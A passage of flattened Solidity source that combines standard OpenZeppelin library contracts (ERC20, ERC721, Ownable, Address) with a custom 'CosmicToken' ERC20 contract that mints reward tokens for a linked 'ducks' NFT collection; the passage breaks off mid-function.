representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol // OpenZeppelin Contracts v4.3.2 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.3.2 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: Artifacts/cosmicToken.sol pragma solidity 0.8.7; interface IDuck { function balanceOG(address _user) external view returns(uint256); } contract CosmicToken is ERC20("CosmicUtilityToken", "CUT") { using SafeMath for uint256; uint256 public totalTokensBurned = 0; address[] internal stakeholders; address payable private owner; //token Genesis per day uint256 constant public GENESIS_RATE = 20 ether; //token duck per day uint256 constant public DUCK_RATE = 5 ether; //token for genesis minting uint256 constant public GENESIS_ISSUANCE = 280 ether; //token for duck minting uint256 constant public DUCK_ISSUANCE = 70 ether; // Tue Mar 18 2031 17:46:47 GMT+0000 uint256 constant public END = 1931622407; mapping(address => uint256) public rewards; mapping(address => uint256) public lastUpdate; IDuck public ducksContract; constructor(address initDuckContract) { owner = payable(msg.sender); ducksContract = IDuck(initDuckContract); } function WhoOwns() public view returns (address) { return owner; } modifier Owned { require(msg.sender == owner); _; } function getContractAddress() public view returns (address) { return address(this); } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } modifier contractAddressOnly { require(msg.sender == address(ducksContract)); _; } // called when minting many NFTs function updateRewardOnMint(address _user, uint256 _tokenId) external contractAddressOnly { if(_tokenId <= 1000) { _mint(_user,GENESIS_ISSUANCE); } else if(_tokenId >= 1001) { _mint(_user,DUCK_ISSUANCE); } } function getReward(address _to, uint256 totalPayout) external contractAddressOnly { _mint(_to, (totalPayout * 10 ** 18)); } function burn(address _from, uint256 _amount) external { require(msg.sender == _from, "You do not own these tokens"); _burn(_from, _amount); totalTokensBurned += _amount; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.3.2 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol // OpenZeppelin Contracts v4.3.2 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.3.2 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.3.2 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.3.2 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.3.2 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.3.2 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.3.2 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.3.2 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero 